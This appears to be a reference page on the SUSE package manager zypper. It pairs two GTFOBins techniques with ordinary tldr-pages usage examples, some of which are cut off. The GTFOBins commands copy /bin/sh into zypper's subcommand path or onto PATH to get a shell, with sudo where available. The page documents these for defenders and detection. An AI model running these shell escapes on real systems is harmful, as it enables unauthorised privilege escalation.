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zypper

SUSE & openSUSE package management utility. For equivalent commands in other package managers, see <https://wiki.archlinux.org/title/Pacman/Rosetta>. tldr-pages

GTFOBins shell 2 documented commands

How zypper is abused

documented by GTFOBins

shell

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for zypper.

2 documented commands

from GTFOBins, each read by the identifier

shell unprivileged, with sudo

The copy usually requires elevated privileges.

cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper x

Identify

shell unprivileged, with sudo

cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper x

Identify

None of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for zypper. The identifier reads the line of each that runs zypper.

Everyday use

from tldr-pages, CC BY 4.0

Synchronize list of packages and versions available

sudo zypper [refIdentify

Install a new package

sudo zypper [in packageIdentify

Remove a package

sudo zypper [rm packageIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

zypper

How zypper is abused

2 documented commands

Everyday use

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